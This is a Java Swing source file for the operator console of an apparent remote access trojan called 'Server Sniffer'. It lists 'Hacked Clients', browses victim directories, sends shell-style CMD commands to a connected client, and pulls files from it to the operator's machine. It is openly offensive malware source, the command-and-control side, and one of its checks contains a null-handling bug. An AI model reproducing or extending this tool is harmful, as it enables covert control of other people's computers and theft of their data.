package window;

import java.awt.BorderLayout;
import java.awt.Dimension;
import java.awt.FlowLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.util.ArrayList;

import javax.swing.JButton;
import javax.swing.JCheckBox;
import javax.swing.JComboBox;
import javax.swing.JFileChooser;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JMenu;
import javax.swing.JMenuBar;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.JTextField;
import javax.swing.border.TitledBorder;
import javax.swing.tree.DefaultMutableTreeNode;
import javax.swing.tree.TreeNode;

import server.Server;
import shared.EnumType;

public class ServerFrame implements ActionListener {

	private static final int WIDTH = 900;
	private static final int HEIGHT = 600;
	private static final double VERSION = 1.0;

	private Server server;
	private EnumType enum_type_msg;

	private JFrame frame = new JFrame("Server Sniffer (Version " + VERSION
			+ ")");

	private JMenuBar menu_bar = new JMenuBar();
	private JMenu transfer_file_menu = new JMenu("Transfer Files");
	private JMenu close_app_menu = new JMenu("Close App");
	private JMenuItem send_file_item = new JMenuItem("Send File");
	private JMenuItem get_file_item = new JMenuItem("Get File");
	private JMenuItem close_app_item = new JMenuItem("Close");
	private JMenuItem help_item = new JMenuItem("Help");

	private JPanel full_panel = new JPanel();
	private JPanel page_start = new JPanel();
	private JPanel page_left = new JPanel();
	private JPanel page_left_up = new JPanel();
	private JPanel page_left_down = new JPanel();
	private JPanel page_left_down_right = new JPanel();
	private JPanel page_left_down_left = new JPanel();
	private JPanel page_bottom = new JPanel();
	private JPanel page_right = new JPanel();
	private JPanel page_right_up = new JPanel();
	private JPanel page_right_down = new JPanel();

	private JTextArea console_log = new JTextArea();
	private JTextArea file_log = new JTextArea();
	private JTextArea clients_log = new JTextArea();
	private JTextField command_field = new JTextField();
	private JTextField port_field = new JTextField();

	private JButton help_command = new JButton("Help");
	private JButton send_command = new JButton("Send Command");
	private JButton start_server_command = new JButton("Start Server");

	private JLabel label_port = new JLabel("PORT");
	private JLabel label_check_server_status = new JLabel("ON?");

	private JCheckBox check_server_status = new JCheckBox();
	@SuppressWarnings({ "unchecked", "static-access", "rawtypes" })
	private JComboBox enum_commands = new JComboBox(enum_type_msg.values());

	private TitledBorder server_starter_title = new TitledBorder("Server");
	private TitledBorder console_title = new TitledBorder("Console Log");
	private TitledBorder directories_tree_title = new TitledBorder(
			"Client Directories");
	private TitledBorder command_title = new TitledBorder("Command Input");
	private TitledBorder file_title = new TitledBorder("File Data Output");
	private TitledBorder hacked_clients_title = new TitledBorder("Hacked Clients");

	private DynamicTree tree = new DynamicTree();

	private String file = "";
	private ArrayList<TreeNode> tree_childs = new ArrayList<TreeNode>();

	public ServerFrame(Server server) {
		this.server = server;
		frame.setSize(WIDTH, HEIGHT);
		frame.setResizable(false);
		frame.setLocationRelativeTo(null);
		frame.add(composeFrame());
		frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
		frame.setVisible(true);
	}

	private JPanel composeFrame() {
		full_panel.setLayout(new BorderLayout());
		full_panel.add(pageStart(), BorderLayout.PAGE_START);
		full_panel.add(pageLeft(), BorderLayout.WEST);
		full_panel.add(pageRight(), BorderLayout.CENTER);
		full_panel.add(pageBottom(), BorderLayout.PAGE_END);
		return full_panel;
	}

	private JPanel pageRight() {
		page_right.setLayout(new BorderLayout());
		page_right.add(pageRightUp(), BorderLayout.NORTH);
		page_right.add(pageRightDown(), BorderLayout.CENTER);
		return page_right;
	}

	private JPanel pageRightDown() {
		file_log.setEditable(false);
		file_log.setLineWrap(true);
		file_log.setWrapStyleWord(true);
		JScrollPane scroll = new JScrollPane(file_log,
				JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED,
				JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
		page_right_down.setLayout(new BorderLayout());
		page_right_down.setBorder(file_title);
		page_right_down.add(scroll, BorderLayout.CENTER);
		return page_right_down;
	}

	private JPanel pageRightUp() {
		page_right_up.setLayout(new FlowLayout());
		page_right_up.add(label_port);
		port_field.setColumns(16);
		page_right_up.add(port_field);
		page_right_up.setBorder(server_starter_title);
		page_right_up.add(start_server_command);
		start_server_command.setActionCommand("START_SERVER");
		start_server_command.addActionListener(this);
		page_right_up.add(label_check_server_status);
		check_server_status.setSelected(false);
		check_server_status.setEnabled(false);
		page_right_up.add(check_server_status);
		return page_right_up;
	}

	private JPanel pageBottom() {
		page_bottom.setLayout(new FlowLayout());
		page_bottom.setPreferredSize(new Dimension(0, 60));
		page_bottom.setBorder(command_title);
		page_bottom.add(help_command);
		help_command.setActionCommand("HELP_COMMAND");
		help_command.addActionListener(this);
		page_bottom.add(enum_commands);
		command_field.setColumns(50);
		page_bottom.add(command_field);
		page_bottom.add(send_command);
		send_command.setActionCommand("SEND_COMMAND");
		send_command.addActionListener(this);
		return page_bottom;
	}

	private JPanel pageLeftUp() {
		console_log.setEditable(false);
		console_log.setLineWrap(true);
		console_log.setWrapStyleWord(true);
		JScrollPane scroll = new JScrollPane(console_log,
				JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED,
				JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
		page_left_up.setLayout(new BorderLayout());
		page_left_up.setBorder(console_title);
		page_left_up.add(scroll, BorderLayout.CENTER);
		return page_left_up;
	}

	private JPanel pageLeftDown() {
		page_left_down.setLayout(new BorderLayout());
		page_left_down.add(pageLeftDownRight(), BorderLayout.EAST);
		page_left_down.add(pageLeftDownLeft(), BorderLayout.CENTER);
		return page_left_down;
	}

	private JPanel pageLeftDownRight() {
		clients_log.setEditable(false);
		clients_log.setLineWrap(true);
		clients_log.setWrapStyleWord(true);
		JScrollPane scroll = new JScrollPane(clients_log,
				JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED,
				JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
		page_left_down_right.setLayout(new BorderLayout());
		page_left_down_right.setBorder(hacked_clients_title);
		page_left_down_right.add(scroll, BorderLayout.CENTER);
		page_left_down_right.setPreferredSize(new Dimension(150, 200));
		return page_left_down_right;
	}

	private JPanel pageLeftDownLeft() {
		page_left_down_left.setBorder(directories_tree_title);
		page_left_down_left.setLayout(new BorderLayout());
		page_left_down_left.add(tree, BorderLayout.PAGE_START);
		page_left_down_left.setPreferredSize(new Dimension(300, 200));
		return page_left_down_left;
	}

	private JPanel pageLeft() {
		page_left.setLayout(new BorderLayout());
		page_left.add(pageLeftUp(), BorderLayout.CENTER);
		page_left.add(pageLeftDown(), BorderLayout.SOUTH);
		return page_left;
	}

	private JPanel pageStart() {
		page_start.setLayout(new BorderLayout());
		page_start.add(menu_bar, BorderLayout.CENTER);
		menu_bar.add(transfer_file_menu);
		menu_bar.add(close_app_menu);
		transfer_file_menu.add(send_file_item);
		send_file_item.setActionCommand("SEND_FILE");
		send_file_item.addActionListener(this);
		transfer_file_menu.add(get_file_item);
		get_file_item.setActionCommand("GET_FILE");
		get_file_item.addActionListener(this);
		close_app_menu.add(help_item);
		help_item.setActionCommand("HELP");
		help_item.addActionListener(this);
		close_app_menu.add(close_app_item);
		close_app_item.setActionCommand("CLOSE");
		close_app_item.addActionListener(this);
		return page_start;
	}

	@Override
	public void actionPerformed(ActionEvent e) {
		switch (e.getActionCommand()) {
		case "SEND_FILE":
			if (server.getDwc() == null) {
				JOptionPane.showMessageDialog(null, "No Client is Connected");
			} else {
				JFileChooser chooser = new JFileChooser();
				int returnVal = chooser.showOpenDialog(null);
				if (returnVal == JFileChooser.APPROVE_OPTION) {
					file = chooser.getSelectedFile().getAbsolutePath();
					server.getDwc().sendFile(file);
				}
			}
			break;
		case "GET_FILE":
			if (server.getDwc() == null) {
				JOptionPane.showMessageDialog(null, "No Client is Connected");
			} else {
				String hackerPathToStore = "";
				JFileChooser directoryPath = new JFileChooser();
				directoryPath
						.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY);
				int returnOp = directoryPath.showOpenDialog(null);
				if (returnOp == JFileChooser.APPROVE_OPTION) {
					hackerPathToStore = directoryPath.getSelectedFile()
							.getAbsolutePath();
					server.getDwc().askForFile(EnumType.GETFILE,
							hackerPathToStore + "\\");
				}
			}
			break;
		case "HELP":
			JOptionPane.showMessageDialog(null, "HELP MESSAGE");
			break;
		case "CLOSE":
			int option = JOptionPane.showConfirmDialog(null,
					"Are you sure you want to quit?", "Quit Application",
					JOptionPane.YES_NO_OPTION);
			if (option == JOptionPane.YES_OPTION) {
				server.closeServer();
				System.exit(0);
			}
			break;
		case "HELP_COMMAND":
			JOptionPane
					.showMessageDialog(
							null,
							"LOGIN: Should not be used ate this point; \n"
									+ "CMD: Used for single commands and to create directory files; \n"
									+ "DIR_FILES: Used for reading directory files; \n"
									+ "SENDFILE: Should not be used ate this point; \n"
									+ "GETFILE: Should not be used ate this point.");
			break;
		case "SEND_COMMAND":
			if (!command_field.getText().equals("") || server.getDwc() == null) {
				server.getDwc().sendDataOverCommand(
						enum_commands.getSelectedItem().toString(),
						command_field.getText());
			} else {
				JOptionPane.showMessageDialog(null, "Command Cannot be Null");
			}
			break;
		case "START_SERVER":
			if (start_server_command.getText().equals("Start Server")) {
				if (!port_field.getText().equals("")) {
					check_server_status.setSelected(true);
					start_server_command.setText("Stop Server");
					server.start();
				} else {
					JOptionPane.showMessageDialog(null,
							"All fields must be filled");
				}
			} else if (start_server_command.getText().equals("Stop Server")) {
				server.closeServer();
				check_server_status.setSelected(false);
				start_server_command.setText("Start Server");
			}
			break;
		default:
			break;
		}
	}

	public void populateTree(String parent, ArrayList<String> arrayS) {
		ArrayList<DefaultMutableTreeNode> temp = new ArrayList<DefaultMutableTreeNode>();
		DefaultMutableTreeNode p1 = new DefaultMutableTreeNode();
		if (parent.equals("")) {
			p1 = tree.addObject(null, "Hacked Client Directory");
			for (int i = 7; i < arrayS.size() - 2; i++) {
				String[] splitString = arrayS.get(i).split("\\s+");
				tree.addObject(p1, splitString[3]);
			}
			temp.add(p1);
		} else {
			for (int a = 0; a < tree_childs.size(); a++) {
				if (tree_childs.get(a).toString().equals(parent)) {
					for (int i = 7; i < arrayS.size() - 2; i++) {
						String[] splitString = arrayS.get(i).split("\\s+");
						p1 = tree.addObject(
								(DefaultMutableTreeNode) tree_childs.get(a),
								splitString[3]);

					}
					temp.add((DefaultMutableTreeNode) tree_childs.get(a));
				}
			}
		}
		tree_childs.clear();
		for (int t = 0; t < temp.size(); t++) {
			for (int i = 0; i < temp.get(t).getChildCount(); i++) {
				System.out.println(temp.get(t).getChildAt(i).toString());
				tree_childs.add(temp.get(t).getChildAt(i));
			}
		}
		temp.clear();
	}

	public JTextArea getConsoleLog() {
		return console_log;
	}

	public JTextArea getFileLog() {
		return file_log;
	}

	public JTextArea getClientsLog() {
		return clients_log;
	}

}
